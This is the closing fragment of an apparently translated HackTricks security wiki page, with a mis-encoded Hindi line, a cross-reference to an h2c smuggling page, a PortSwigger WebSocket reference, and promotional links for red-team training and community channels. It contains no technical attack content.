рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:
|
|
|
|
{% content-ref url="h2c-smuggling.md" %}
|
|
[h2c-smuggling.md](h2c-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
## References
|
|
|
|
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|